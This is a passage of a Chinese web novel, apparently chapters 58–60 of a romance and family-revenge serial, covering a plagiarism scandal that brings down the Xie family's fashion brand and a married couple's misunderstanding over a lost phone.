谢知瑶看到好友,像是海上溺水的人看到唯一的浮木,死死抓着她的手臂。 她现在绝对不能回家。 不能回家。 吴兰欣也傻掉了,谢知瑶一副天塌下来的模样,哭的绝望又无助,脸上精致的妆容都花了。 “不是说抄袭的事情解决了吗?瑶瑶你这是怎么了?” 谢知瑶头摇得宛如拨浪鼓,不愿再多说一句,拉着吴兰欣往电梯方向走。 而她们刚进入电梯,旁边的电梯门也打开了。 陆言卿从里面出来,面色凝重,直奔206雅间过去。 “阿虞,我很生气,不是说能保护好自己吗?” 目光落在谢思虞被瓷片划伤的脚踝上,心疼的不行。 第58章 心痛到无以复加 陆言卿走到谢思虞面前蹲下来, 脱掉她脚上的高跟鞋,仔细打量,确定伤口不深才松了口气。 拿出袋子里的碘伏棉签, 小心翼翼在划伤处消毒,最后贴上创口贴。 今晚谢思虞得知谢知瑶要到餐厅和吴兰欣吃饭,便马不停蹄赶过来。 她自然也跟着一起, 之所以让谢思虞一个人面对情绪不稳定,随时可能发疯的谢知瑶, 是因为谢思虞保证过,她会保护好自己。 可现在谢思虞还是受伤了。 天知道她在楼下监控室看到这幕,有多愤怒。 和心疼。 巧的是这家餐厅的老板她认识, 给对方打了电话, 说明缘由,需要永久删除一小段监控视频, 这都是小事情,对方欣然同意。 离开监控室时,陆言卿吩咐相关工作人员删除谢思虞和谢知瑶见面聊天的内容。 又去外面24小时便利店购买了碘伏和创口贴。 “是我没注意。” “让卿卿担心了。” 谢知瑶从震惊到惶然,再到恐慌害怕。 她还有什么不确定的呢? 李婶听到的话是真的,谢明远确实摔坏了母亲的遗物,且是在很多年以前。 难怪这几年她提起翡翠手镯,谢明远总是含糊其词, 要么就转移话题。 她不曾怀疑过吗? 自然也是有的。 只不过最后给出的结论是——因为她还有利用价值,谢明远攥着母亲遗物不放手, 无非就是继续要挟她。 谢思虞压下复杂的情绪, 牵着陆言卿的手让她坐在旁边的餐椅上, 开口嗓音里带着自嘲:“我真蠢,让谢明远利用了一次又一次。” 陆言卿眉头轻蹙, 站起身把谢思虞搂抱进怀里,低头亲了亲她的发顶:“阿虞不许这样说自己。” 是谢明远太老奸巨猾,为达目的不择手段。 “阿虞心软善良,一心想要拿回母亲的遗物,才没有察觉谢明远的阴谋诡计。” 谢思虞一叶障目,是因为母亲生前留下的书信,是因为外婆在世时反复的叮嘱。 她太想要拿回遗物,才会“心甘情愿”被谢明远利用。 “卿卿是不是也很讨厌欺骗?” 谢思虞抓着陆言卿腰侧的衣服,突然转移了话题,过分温柔的目光深处是一片黯然与荒凉。 陆言卿低头,自然又亲昵地刮了下谢思虞的鼻尖,声调温和,浸着淡淡的笑意反问:“应该没有人会喜欢欺骗吧?” “是啊,没人喜欢。” 谢思虞讷讷半晌,很轻很轻的开口。 好似自问自答。 陆言卿以为谢思虞是说谢明远欺骗她的事情,没有往深处细想,去外面叫了工作人员来打扫碎片,顺便点了几道菜。 既然她们在餐厅,索性吃完饭再回去。 也许是心情不佳,这顿饭谢思虞吃的并不多- 谢知瑶当天晚上躲在吴兰欣公寓里没有回家,新旧两张电话卡都打不通,周静担忧恐慌了一整晚。 直到第二天早上联系到吴兰欣,得知她和女儿一宿都在一起,刚松了口气。 这时丈夫从楼上火急火燎跑下来,因为太急,脚上拖鞋都跑掉一只。 他不问缘由,甚至当着佣人的面打了周静一巴掌:“谢知瑶呢!我明明叮嘱过你不要让她出门,要看好她!现在好了,遗物的事被谢思虞发现,她要毁了Elis,你满意了吗?” 大清早谢明远就被公关部张浩的电话吵醒,说有人在网上曝光了谢知瑶抄袭CC秀场款刺绣图案的设计底稿。 那上面还有谢知瑶本人的签名。 短短二十分钟,该消息就登上微博热搜榜。 不少网友骂他们卑鄙无耻,竟然把过错推到一个实习生身上。 偏偏这时那名收了他五百万支票的实习生,也将他们如何收买她顶罪的视频放了出来。 突如其来的暴风雨,根本没给他缓神的机会,公司法务部又打来电话,说苏琳要跟Elis解约,并要求他们赔偿3倍的违约金! 这还不算,最棘手的是CC品牌这次直接在官网上@谢知瑶,要跟她法庭上见。 几乎所有的坏事都赶在一起。 谢明远再傻也察觉到猫腻,他拨打谢思虞电话,对方接听很快。 【对,谢董没猜错,就是我做的。】 【既然您摔坏了母亲的遗物,害她永远失信于老师,谢董欺瞒利用我多年,总要付出代价不是?】 【您放心,这才只是开始。】 “你说那件事被谢思虞知道了?” 周静捂着火辣辣的脸颊,此刻也顾不上难堪,捡起地上的手机,进入微博首页,铺天盖地都是Elis抄袭的丑闻。 猛然想起一夜不归家的女儿。 周静的心一沉再沉。 谢明远轻嗤:“对啊,她要报复我们,你以为你们母女能独善其身?” 要是谢思虞还是当年的小女孩,李家那位老婆子还在,他尚且能掌控她。 可如今谢思虞身后有陆言卿,她唯一在世的亲人也去世了,眼下又拿不回母亲的遗物。 她便也没什么在意的了。 Elis岌岌可危。 “是李婶!肯定是李婶偷听到我们讲话,给谢思虞报信了!” 周静看到一旁战战兢兢的佣人,想到前几天谢思虞以想吃李婶的饭菜为理要走了人,顿时反应过来。 谢明远眼中闪过厉色,可现在知道这些有什么用呢? 心身疲惫,公司还有一堆破事等着他处理。 “不管是不是谢知瑶说漏嘴,都覆水难收,让她去公司,还有官司等着她。” 周静看着丈夫离开的背影,脸色变得惨白。 女儿闯祸居然躲了起来? 难道她还是七八岁的孩子吗? 躲起来就能解决问题? 活到她这个岁数,生平第一次后悔莫及,当初她就不该纵容女儿。 谢思虞铁了心要毁掉Elis,就不可能给他们喘息的机会。 苏琳和Elis解约是第一步。 谢知瑶被CC品牌起诉抄袭是第二步。 一旦谢知瑶败诉,做实抄袭的事情,陆氏旗下所有商城将全面撤掉Elis剩余的门店。 这是第三步。 时间晃眼过去一个礼拜。 这几天谢家别墅冷冷清清的,佣人们做事都格外小心谨慎。 那天谢明远打了妻子周静之后,他就没有回过家,一直住在办公室。 而谢知瑶也面临前所未有的压力,说是天塌了也不过为,整个人日渐消瘦。 她遭遇网暴,甚至有苏琳的粉丝围堵在公司楼下,冲她仍恶心的垃圾。 在公司,员工们私下议论她,说她不要脸抄袭,找实习生顶锅。 父亲不见她,让她自己处理起诉的事情,明显已经放弃她了。 回到家里,母亲对她失望透顶,也不再指责她。 谢知瑶连哭都没有力气。 脸色憔悴,手里攥着法院寄过来的传票,眼里是藏不住的恨意。 原本一切都好好的,都是因为谢思虞——是她毁了她! 半个月后开庭。 那张设计底稿有她的签名,律师告诉她,胜诉的可能性为零。 呵呵呵。 谢思虞回到卧室,顺着门滑坐到地上,面无表情盯着传票上的文字。 抄袭? 人往往被逼到绝境,就会做一些极端的事情。 而钻进死胡同的谢知瑶,一只脚已经踏进了深渊- 晚上7点。 江海澜苑。 谢思虞有其他事情处理,下班后没有跟陆言卿一起回家,谢家和妻子发展到这一步,无论如何是没法和解的。 陆言卿担心妻子的安危,特意让刘瑶安排了两名保镖,24小时保护她。 当年谢家和陆家联姻,签订了相关合作,Elis闹出这样的事,祖父也打电话过来问她相关情况。 【要是放任不管,谢家很可能会破产。】 关于阿虞母亲遗物的事,她没提,但其他事情——包括妻子的身世,还有这些年在谢家经历遭遇的一切,她都没有隐瞒。 祖父得知也挺生气的。 让她什么都别管。 陆言卿笑笑没说话,她什么都不做,其实就什么都做了。 又跟祖母聊了二十分钟的家常,这才挂了电话。 晚上妻子不回来吃饭,陆言卿随便拌了份蔬菜沙拉凑合,刚吃两口,紫甘蓝都还在嘴巴里,就有电话进来。 【呜呜呜——言卿姐,你能不能来Halo西餐厅一趟?南淮路这边,意意心情不好喝了很多酒,我劝不住。】 陆言卿用叉子叉了半颗圣女果,将嘴巴里的菜咽下去,蹙眉问:“怎么了?” 【她刚才跟宋薇表白,被拒绝了,宋薇还不让意意去录制综艺节目。】 陆言卿恍然想起之前钟晚意跟她提过,想要跟宋薇一起录制一档名为《情书密语》的恋综。 是暗恋没错吧? 怎么突然表白了呢? “你先看着她,我马上过去。” 陆言卿吃掉叉子上的圣女果,把碗里剩下的蔬菜沙拉用保鲜膜封好,放冰箱冷藏室里。 拿起手机和车钥匙往玄关走,今天她穿的是七分袖针织衫,搭配高腰牛仔裤。 直接把手机装进后面的裤兜里,也就没有拿包包。 江海澜苑距离南淮路Halo西餐厅,开车差不多25分钟。 陆言卿锁车后进入电梯,按了6楼的数字,解锁屏幕发现手机电量不多,不知道何时能回家,怕谢思虞到家看不到她担心。 【阿虞,晚意喝了酒,我过来看看,不确定几点回去。如果时间太晚你就上床睡觉,别等我。】 电梯间信号不稳定,陆言卿以为这条信息发送成功了,但其实并没有。 结果凌晨两点到家的她。 就看到谢思虞坐在沙发上无声落泪。 当然这都是后话。 第59章 不要怀疑我对你的心意,嗯? Halo西餐厅。 3楼302VIP包间。 关于钟晚意跟宋薇表白, 事情要从一个小时前说起。 《情书密语》是一档恋爱类综艺节目,还有三天宋薇就要前往R市录制第9期节目。 节目上常驻嘉宾有4人,其余4名飞行嘉宾每两期会更换。 当然了, 出现在节目中的都是艺人。 而钟晚意并非圈内人士,她想去录制综艺,往节目组砸钱不说, 还要找朋友帮忙。 因为是素人,所以这件事提前被宋薇知道的了。 包间顶部的吊灯散发着柔和的光芒, 餐桌前宋薇不是第一次和钟晚意私下见面,可这次她心情却格外复杂。 “意意,你往节目组砸600万, 只参加两期录制, 真的……有必要吗?” 宋薇连续三次舀起碗里的奶油蘑菇汤,却始终没有喝下去。 其实得知钟晚意要去《情书密语》时, 她很震惊,也很意外。 却又担心她直率的性格在节目中会“吃亏”,节目是直播的形式呈现,网友们总喜欢戴有色眼镜看人。 钟晚意是豪门千金,也是节目唯一一个素人,到时候不知道会面临多少非议。 这是她不愿意看到的。 刀叉碰触瓷盘底部发出声响,钟晚意下意识屏住呼吸, 没所谓的说:“反正我闲着也是闲着,就当去节目玩呗。” 别的艺人去节目是挣钱, 而她去节目是花钱, 似乎600万对她而言, 都是不重要的小事。 宋薇抿了抿唇,盯着旁边折成天鹅的纸巾, 突然抬头看向对面的女孩,执拗道:“如果我不愿意你去,意意会放弃吗?” 钟晚意听到宋薇的话,背绷得笔直,无意识握紧了手里的叉子,垂眸避开对方直白的目光,深呼吸两次,才装作不经意的问:“薇薇为什么不愿意我去?” 宋薇今晚穿着款式简单却温婉的连衣裙,精致漂亮的脸上化着妆容,比荧幕上更美更动人。 可她却不想她去综艺。 为什么呢? 钟晚意一时半会儿想不明白。 “《情书密语》是恋爱综艺,观众们喜欢看的恋爱细节其实都是编剧们精心策划和设计。” 宋薇语重心长解释。 钟晚意点点头:“我知道是假的。” 宋薇就更不理解了:“既然知道是假的,为什么要去陪她们‘演戏’呢?” “因为你在啊。” “什么?” “我想跟你恋爱。” 宋薇想过无数种可能,却从未想过是这一种,当她从钟晚意眼神中捕捉到爱意和喜欢时,心脏重重地一跳。 “我知道节目有剧本,那些冒粉红色泡泡的甜蜜和爱恋都是假的,但我还是想和薇薇谈一场——假的恋爱。” 钟晚意慌乱地移开目光,可不知道是不是气氛到这儿了,她暗恋宋薇两年的事,不愿意再藏。 就这么半开玩笑的说了出来。 “你……喜欢我?” “不是粉丝对爱豆的那种喜欢?” 宋薇今天涂的唇膏是钟晚意上次安利她的那款,紧张无措时端起右手边的柠檬水喝了一口,在杯沿留下半枚石榴色的唇印。 她冷静又理智对钟晚意说的话逐字逐句分析,得出的结论便是:眼前的女孩喜欢她。 “嗯。” 既然被宋薇拆穿,钟晚意顺势应下来,放下手中的叉子,双手在餐桌下紧紧交握。 她含笑的目光看着宋薇。 等待对方回复的过程漫长而煎熬。 宋薇身体往后靠,张了张嘴巴,内心深处好像打翻了五味瓶,说不出的复杂。 最终她很轻很轻的说:“钟小姐,你应该知道星海禁止旗下的艺人谈恋爱。” “今晚这顿晚餐,我请客。” 说完好像没办法继续待下去,宋薇从纸巾盒抽了张湿巾擦嘴,然后拿起一旁的包包,小声跟钟晚意道谢后离开。 「钟小姐」 「今晚的晚餐我请客」 「也谢谢你的喜欢」 毫无疑问,钟晚意被宋薇很委婉的拒绝了,猜到是这种结果,但还是好难受啊。 瓷盘里切好的牛排还剩大半,她却没有了胃口。 端起酒杯,将红酒一饮而尽。 喝的太快有红酒沿杯壁流下,杯底在亚麻桌布上印出痕迹。 反正郑雪从侍应生口中得知宋薇离开赶到包间时,一瓶新开的威士忌已然被钟晚意喝了三分之二。 她趴在桌子上,脸颊泛起红晕,一双眼睛红红的。 肯定不是因为醉酒,因为钟晚意脸颊上还有残留的泪痕。 “阿雪,薇薇不喜欢我。” “她,她还不让我去参加……综艺。” “她连跟我假装,假装谈恋爱都不愿意。” 钟晚意醉的不轻,说话也是断断续续,郑雪将她搀扶着坐好,捡起地上的包包和手机,隐约猜到事情的来龙去脉。 “你这又是何苦?” 暗恋一个不可能的人。 不是一开始就知道结果吗? 郑雪叹息,她劝过的,但钟晚意听不进去,反而越陷越深。 她也追星,只不过她对宋薇——确实是粉丝对爱豆间的那种欣赏,喜欢。 钟晚意笑着笑着又开始流眼泪,看得郑雪心里很不是滋味。 “你不能再喝了!” 见好友要去倒酒,她急忙抢走她手中的酒杯和威士忌。 可是跟一个酒鬼是讲不通道理的。 钟晚意拿不到酒,开始撒泼,郑雪根本招架不住。 让两名侍应生来扶,准备把人送回家里,可钟晚意坐在地毯上,抱着餐桌的腿不放手。 郑雪没有办法了才给陆言卿打电话,希望对方能“劝”住钟晚意。 9:15分。 陆言卿推开包间的门,就看到屋内一片狼籍,餐桌上只有两人份的牛排,钟晚意坐在地毯上,她身上的连衣裙沾了红酒渍,还有其他果汁? 深灰色的连衣裙沾上水渍格外明显。 “抱歉言卿姐,这么晚还让你过来。” 郑雪把手中的威士忌交给侍应生,刚才和钟晚意拉扯过程中,她白色衬衫上也弄脏了。 陆言卿在钟晚意面前蹲下来,听到她嘴里碎碎念,什么欺负,坏人,不喜欢的词语,反正她一句没听懂。 看钟晚意这副模样,明显脑子已经不清醒了。 “她这样回去,叔叔阿姨会担心。” 陆言卿用力扒拉钟晚意的手,身后郑雪也来帮忙,两人费了好大力气才把人扶起来。 看向一旁的侍应生,“麻烦去隔壁酒店开一间房。” 今晚就先在酒店凑合吧。 走廊电梯前。 陆言卿和郑雪一左一右搀扶着醉醺醺的钟晚意,还在等电梯,谁知道钟晚意突然挣扎,冲到垃圾桶旁边呕吐起来,力道之大险些把陆言卿推倒。 一阵兵荒马乱后,电梯抵达3楼,陆言卿给钟晚意擦嘴巴上的脏东西,郑雪则叫侍应生来清理地面的污秽。 整个走廊都弥漫着难闻的味道。 三人进入电梯。 留下两名侍应生打扫卫生。 走廊转角处,苏蔓和助理黄凌将刚才的一幕看在眼里,原本她应该在参加《神殒九霄》仙侠剧的杀青宴,但胃有点不舒服,便找借口离开了。 谁想到竟看到这一幕。 餐厅侍应生受过专业的训练,很快将电梯门口的狼藉打扫干净,顺便还喷了空气清新剂。 “这是……她刚落下的手机?” 苏蔓走到电梯前,突然听到一阵响铃,顺着声音看过去。 半人高的天堂鸟盆摘后面,躺着一个手机,纯黑色,没有手机壳保护。 黄凌捡起来递给苏蔓。 手机屏幕左下角磕坏了,摸上去有些扎手。 但这并不重要。 响铃结束,对方很快又打进来。 来电显示是“陆夫人-阿虞”,苏蔓被陆夫人三个字刺中某根神经。 神差鬼使滑动屏幕,接听了电话:“我是苏蔓,卿卿现在有事,谢小姐可以稍后……” 可惜她一句话没有说完,屏幕陷入黑暗中,怎么摁都没有反应,应该是没电了。 苏蔓眼中闪过什么,这时有侍应生从电梯里出来,礼貌询问:“请问这手机是您捡的吗?” 苏蔓微微挑眉,把手机递给对方:“你还给那人吧。” 陆言卿待人是温柔有礼,可要是触及她的底线,她会很生气。 就像是当初她背着她和邹筱纠缠不清。 陆言卿在商场撞见后直接同她分手,一句解释的机会都没有给她。 侍应生明显松了口气:“谢谢。” 与此同时。 另一边江海澜苑。 谢思虞回到家没有看到陆言卿,在冰箱里找到没吃完的蔬菜沙拉,以为她是临时有事出去了。 然而等了二十多分钟,也不见人回来,眼看外面就要下雨,这才打电话。 第一遍没有人接听。 第二遍电话接听了,但说话的人是苏蔓。 第三遍,第四遍,第五遍听筒里无一例外都传来冷冰冰的提示音:您拨打的电话已关机,请稍后再拨。 谢思虞站在中岛台前,攥紧了手机,心脏好似破了一道口子,有冷风灌进来,很难受。 告诫自己不要胡思乱想,陆言卿不是始乱终弃的人,她和苏蔓在一起,或许有其他原因。 然而她又等了半个小时。 玻璃碗里的蔬菜沙发被她吃完了,沙拉汁倒的太多,并不好吃。 因为心里装着事。 不知不觉就把所有的蔬菜都吃完了,此刻胃胀的有些难受。 陆言卿的电话始终打不通,不安和烦躁涌上谢思虞的心头,清洗玻璃碗时洗洁剂挤得太多,手上全是泡沫,没有拿稳碗。 “砰”的一声,玻璃碗砸落在不锈钢水池里,好在碗足够结实,没摔坏。 谢思虞找回些许理智,自嘲地笑笑,冲了好久的清水,才把碗清洗干净。 厨房纸巾擦干玻璃碗里外的水珠,将其放入橱柜里。 来到客厅的沙发坐下,谢思虞再次解锁屏幕,微垂的长睫扑闪,眼眸里神色复杂。 “我只是担心卿卿的安危。” 她找了一个最蹩脚的理由。 打开手机某款软件,当初在陆言卿手机里安装定位,是害怕她像三年前那样突然失踪。 现在却用来查她。 谢思虞不耻自己的行为,可她控制不住,她敏感多疑。 害怕苏蔓在陆言卿面前“乱说话”,让她好不容易经营的幸福婚姻毁于一旦。 是啊,她害怕。 【王庭酒店】 定位显示陆言卿在王庭酒店。 谢思虞愣了好一会儿,呼吸窒涩,陆言卿此刻在酒店? 有什么事情需要在酒店谈吗? 还是跟苏蔓一起。 焦躁不安。 谢思虞还在安慰自己,说不定是苏蔓捡到了陆言卿的手机呢? 又或者她们不是单独相处。 “我要相信卿卿。” “就算真的要分开,她也不会用这种方式羞辱我。” 可谢思虞收到王庭酒店那边传回来的消息,没办法再给陆言卿找借口,找理由。 一颗心下沉的厉害。 【陆总半个小时前带着一位喝醉酒的女士来酒店,开了总统套房。】 盯着这条简讯看了无数次。 光线昏暗的客厅,谢思虞坐在阴暗处,眼睛里的泪水无声滑落。 心脏被一只无形的大手攥着,痛得她呼吸都困难。 胃里更是翻江倒海般难受。 冲到公共洗手间,晚上吃的蔬菜沙发也全部吐了出来。 凌晨2点。 陆言卿带着一身酒气回家,因为外面下着暴雨,她从酒店出来时淋了点雨,针织衫贴着肌肤,特别不舒服。 玄关换下平底鞋,陆言卿把车钥匙放到鞋柜上方竹子编织的手工盒里,径直往卧室方向走。 客厅光线昏暗。 只有靠近走廊一侧的落地灯亮着。 陆言卿不经意往阳台方向扭头,看到谢思虞坐在沙发上,身上还穿着今早上班穿的连衣裙。 她手机没电了。 回来路上利用车里的充电线充了电,因为时间太晚,就没有给谢思虞打电话。 陆言卿压下心底怪异的感觉,想要打开客厅的照明灯,却被谢思虞阻止。 “阿虞怎么还没睡?也没有洗澡。” 她身上带着酒气,还臭烘烘的,怕熏到谢思虞,就没有抱她,只是在她面前蹲了下来。 去牵谢思虞的手。 结果被她躲开。 陆言卿明显愣了下:“好吧,我身上有点脏,我先去卧室洗澡。” 窗外暴雨如注。 屋内光线暗淡,陆言卿没有看到谢思虞脸上的泪痕。 站起身来半开玩笑说:“阿虞也没有洗澡,要不要跟我一起洗?” 这人竟当什么都没有发生? 谢思虞忽然哽咽,嘴角露出酸涩的笑容,开口嗓音很哑,带着鼻音:“你去哪里了?” “餐厅啊,我不是在微信上跟你……说了吗?” 陆言卿很自然的接话,听到谢思虞沙哑的声音,总算意识到她情绪不对,绕过茶几来到电视柜这一面墙壁,打开照明灯。 看到谢思虞苍白的脸色,正用那双不知道哭了多久的眼睛注视着自己。 陆言卿突然间好像失去了所有的力气,一颗心被揉的又酸又痛,再次来到妻子跟前,伸出手想要替她擦拭眼泪。 又怕她嫌弃她脏。 “阿虞是没有看到我发的微信吗?” “晚意今晚跟暗恋两年的姑娘表白,被拒绝了,心情不好喝了很多酒,郑雪搞不定她,就给我打了电话。” “后来我们把她送到餐厅隔壁的酒店,给酒鬼洗澡很麻烦的,总之折腾到很晚。” “我从酒店出来才发现手机没电了,后来在车里充满了电,怕吵醒阿虞就没有打电话。” 陆言卿半弯着腰,双手撑在膝盖处,温柔又爱怜的目光看着谢思虞,将今晚的事情事无巨细交代了一遍。 甚至还说了钟晚意表白被拒的事。 “所以阿虞能告诉我,为什么哭吗?” 陆言卿望着谢思虞红肿的眼睛,又是自责又是心疼,“是因为我?” 谢思虞解锁手机,打开微信里和陆言卿的聊天页面,她今晚确确实实没有收到什么信息。 “我没有收到。” 陆言卿在谢思虞翻找记录时,她也打开了微信,页面最下端那条消息旁的红字感叹号,明晃晃的很刺眼。 反转屏幕给谢思虞看。 哭笑不得:“我以为发送给你了,对不起。” 谢思虞在陆言卿解释后就相信了她的话,是她自己小题大做,太敏感,太自卑。 挣扎了许久,她又坦白,“我给你打电话,是苏蔓接听的。” 陆言卿茫然地眨眨眼:“你说苏蔓接听我的电话,我……” 忽地想起什么,她脸色变得有些难看。 “当时晚意要吐才把我推开,拉扯的过程中裤兜里的手机掉出来,前后不超过十分钟。” 她到楼下就察觉到手机不见了,让侍应生上楼去找,对方很快下来,说是一位女士捡到,并没有说是苏蔓。 陆言卿垂眸扫了眼手机被磕碎的边角,眼底浸染了丝丝冷意:“苏蔓说了什么?” 谢思虞轻轻摇头:“她什么都没说,是我自己胡乱揣测。” 说完就扑进陆言卿怀里,紧紧搂着她的腰,头埋进对方颈窝里,喃喃自语,“对不起卿卿,是我的错。” 是我没有相信你。 陆言卿叹息一声,扣住谢思虞的肩膀轻轻把人往外推,可怀里的人不愿意松手。 最后只能作罢。 冷静后思量。 谢思虞为何会哭,又为何跟她道歉,陆言卿还有什么想不明白的呢? 低头咬了咬谢思虞的耳朵。 她确实生气。 “阿虞不相信我,我真的很难过。” 谢思虞身体紧绷。 心里慌乱又无措,只是不停的道歉:“对不起卿卿,对不起——” 她们“交往”这段时间,她自认为做的足够体贴,也给足了谢思虞安全感,事事有回应,句句有交代。 今晚只是没有收到她的微信。 又因为苏蔓几句模棱两可的话,谢思虞就怀疑自己。 甚至怀疑她背叛她。 陆言卿眉间露出一丝疲惫,感受到怀里人在哭泣,还是揉了揉她的头发,轻声解释:“我不是怪阿虞。” 就是有点失望。 是她哪里做的不够吗? 才让谢思虞患得患失,捕捉到一点风声就胡思乱想。 殊不知这是谢思虞在自卑后怕。 因为这段婚姻是她“抢来”的。 谢思虞克制着情绪,退出陆言卿的怀抱,抬眸看着她,忐忑不安的问:“卿卿,你是不是生气了?” 陆言卿叹息:“没有。” 谢思虞其实不傻,换位思考,她被妻子这般不分青红皂白的误会,也会生气。 “卿卿骗人。” “好吧,我生气了。” “对不起……” 陆言卿看到谢思虞微红的眼睛,心疼盖过一切,最后还是软了语气:“我不想再听到这三个字,阿虞好好反省,自己错在哪里。” “我先去洗漱了。” 一身酒气和臭味,陆言卿自己都嫌弃,说完就往卧室方向走。 凌晨3:15分。 谢思虞在陆言卿后面洗漱,等头发吹干她才爬到床上,旁边的人闭着眼睛,呼吸轻浅均匀,似乎已经睡着了。 她平躺下来,拉过羽绒被盖在身上,规规矩矩闭上眼睛,不像以往那般钻进陆言卿怀里。 或许是因为不安,又或许是因为陆言卿在生她的气。 时间一分一秒过去。 卧室亮着柔和的夜灯,陆言卿突然的叹息声打破屋内的寂静。 她挪动身体,搂住慌乱不安的谢思虞,气得不轻:“阿虞怎么不在我们中间放个枕头呢?或者干脆去次卧睡觉啊。” 谢思虞静默几秒,侧过身回抱着陆言卿,很认真很严肃的说:“卿卿不生气,今晚是我不对,以后再遇到这种事情,我不会再疑神疑鬼。” “我会相信卿卿。” 陆言卿就不是铁石心肠的人,眼下谢思虞认识到自己的“错误”,承诺今后会慢慢改正。 她心里哪里还有气? 手指勾起谢思虞的下巴,低头覆上她柔软的唇瓣。 舍不得骂,舍不得冷着她,只能原谅。 亲吻谢思虞时格外磨人,甚至有些蛮横。 总之称不上温柔。 直到彼此呼吸交织,喘息声急促。 陆言卿松开谢思虞的唇,爱怜地吻了吻她的眼睛,循循善诱:“如果再有下次,我希望是阿虞向我走来。” 至少要勇敢一些。 “不要怀疑我对你的心意,嗯?” “阿虞可以再肆无忌惮一点。” 谢思虞好不容易克制的情绪因为陆言卿几句话,再次分崩离析,温热的泪水从眼角滑落,流进发丝消失不见。 她攥紧陆言卿睡衣的衣摆,郑重地点点头,“嗯”了一声。 第60章 她又怎会那么早就喜欢她? 次日阳光明媚。 早餐是云膳坊送过来的, 营养粥搭配清爽可口的小菜。 陆言卿和谢思虞吃过早餐出门,刚坐上宾利车的后排,钟晚意就打来电话。 【卿卿啊, 昨晚的事情你已经忘记了,知道吗?】 听筒里传来被子翻动的窸窣声,钟晚意沙哑的嗓音中带着哀求, 又带着点威胁。 陆言卿给谢思虞安排的两名保镖正好是兄妹,哥哥刘跃, 妹妹刘燕。 今早是刘燕开车送她们去陆氏集团,车厢后排,陆言卿听了钟晚意的话, 直接气笑了:“现在知道要脸了?昨晚凌晨两点到家, 我差点睡次卧,怎么忘?” 通话声音并没有外放, 谢思虞听到陆言卿揶揄的话,反应过来后羞赧地眨眨眼,把头转向车窗外,晨风吹起她别在耳后的碎发。 橘黄色阳光掠过她的侧脸,在雾蓝色丝质衬衫上投下晃动的光斑。 谢思虞无意识摩挲着手机边缘,昨天的确是她太敏感才会胡思乱想。 却也跟苏蔓模棱两可的话脱不了干系,想到什么, 微垂的眼眸里闪过一丝冷意。 【啊——】 【思虞姐生你的气了?】 【你们现在在一起吗?我亲自跟她解释?】 陆言卿注意到谢思虞脸上不自然的神色,手机换到左手拿, 右手握住对方的手, 轻轻捏她的指尖把玩:“不用, 我们很好,你还是操心自己的事吧。” “综艺节目还参加吗?” 昨晚听郑雪的意思, 钟晚意已经跟《情书密语》节目组签订了合同,钱自然也给了。 陆言卿问完也没有催促,宋薇毕竟是钟晚意认真喜欢了两年的人,哪怕表白被拒绝了,也不可能立刻把感情收回来。 钟晚意心情沉重,说话声音低了下去:「事已至此,再去参加综艺没有意义,也不想让她为难。」 陆言卿了解钟晚意的性子,便没有再劝,暗恋本就辛苦,明知道没有结果还是飞蛾扑火。 如今被拒,难过是真的难过。 “阿虞在想什么?” 陆言卿挂断电话,随手把手机放进车门储物盒内,顺手将谢思虞鬓角的碎发别回耳后,指腹蹭过她微烫的耳垂。 红灯亮起。 车缓缓在路口停下。 谢思虞视线从公交车广告牌移开,上面是苏蔓代言的腕表,她掩了眼底晦暗的情绪,抬眸笑盈盈望着陆言卿:“想跟卿卿请一天假。” 陆言卿意外地挑了挑眉,没有答应也没有拒绝:“Elis那边真的不需要我帮忙?” 前几天谢知瑶的母亲周静还到集团,不过阿虞没有见。 谢明远呢,也三番五次给她打电话,表示陆氏和谢家签订了相关合作,她们不能赶尽杀绝。 反倒是面临官司的谢知瑶,安安静静,一次也没有来集团“闹”。 事出反常必有妖。 谢思虞抓起陆言卿的手,亲昵地用脸颊蹭了蹭,温和道:“我想自己来。” 谢明远欺瞒利用她多年,这笔帐她要一点一点讨回来。 “好。” 陆言卿低头亲了亲谢思虞的唇瓣,无论妻子想要做什么,她都无条件支持,“我只有一个要求,阿虞要保护好自己。” 谢思虞莞尔一笑。 脑袋靠在陆言卿肩头,闻到她身上淡淡的山茶花香,从未有过的心安。 以往她都是一个人。 现在她身后有陆言卿。 所以,她怎会让人破坏这份来之不易的幸福? 8:45分。 宾利车稳稳停在陆氏集团门口。 谢思虞有其他事就没有下车,陆言卿站在路边,目送车辆驶离。 “谢副总今天有事?” 江泠月的车出现点状况,送去4S店维修了,今早她打车来的集团。 从网约车上下来,就见陆言卿和谢思虞挥手告别。 “嗯。” 陆言卿对江泠月微微颔首。 关于谢思虞的私事,她不好往外说,于是转移了话题,“陆言昭死磕的项目进展如何?” 江泠月今天穿的是五分袖浅蓝色衬衫,搭配白色的西装裤,衬衫领口有一条丝巾装饰,整个人优雅又知性。 跟着陆言卿进入电梯,她按了电梯壁上的数字14和32,才娓娓道来:“【桦悦】女装在国内也是数一数二的品牌,对方跟明奇有着5年的合作,陆副总监想要邀请【桦悦】进驻双栖云境,难度系数可想而知。” 陆言卿勾唇笑了笑,陆言昭迫切想要在祖父面前表现,专挑难啃的骨头也情有可原。 “我倒是希望他能得偿所愿。” 【桦悦】和明奇签约的合同快要到期,不知道多少人盯着,陆言昭要是真的说服对方进驻商城。 也算大功一件。 江泠月笑笑没接话。 电梯很快抵达14楼财务部。 半个小时后。 总裁办,陆言卿刚和销售总监周越敲定下个月商场要举办的活动,微信上就收到刘燕发来的几张照片。 点击照片,放大。 看清楚上面的人,陆言卿眸光微闪,修长的指尖轻轻敲击办公桌面,看似波澜不惊的目光深处是一片晦暗。 谢思虞明知道刘燕可能会给她报信的情况下,还是去了星海娱乐。 这是打算不藏了? “阿虞了阿虞,我该说你听话吗?” 陆言卿慵懒明亮的眼眸里露出一丝笑意来,从宋薇代言「云裳」茶饮馆,到苏琳“卡点”为Elis引流,保证Elis在联名活动中销售额。 再到Elis闹出抄袭风波。 苏琳走的每一步,都像是有人精心设计。 原本一开始她也不确定,直到魏洁告诉她,谢思虞和星海副总邹筱私下见面。 陆言卿退出和刘燕的聊天页面,身体稍稍后仰,靠着办公椅靠背,揉了揉酸胀的眉心。 是因为昨晚她所说的话? 所以谢思虞开始尝试,慢慢朝她走来? 不管是哪种原因。 陆言卿都很开心,漆黑的眼眸里漾着温柔。 #Elis抄袭# #谢知瑶收到法院传票# 锁屏弹出两条消息。 是微博热搜推送。 陆言卿眯起眼,上次阿虞说她母亲的遗物是翡翠手镯? 指尖磨挲玻璃杯外壁,杯子里是她煮的果茶,金桔柠檬百香果口味,现在她嘴巴里也还有淡淡的柠檬清香。 【阿虞,今晚我们回晨华里。】 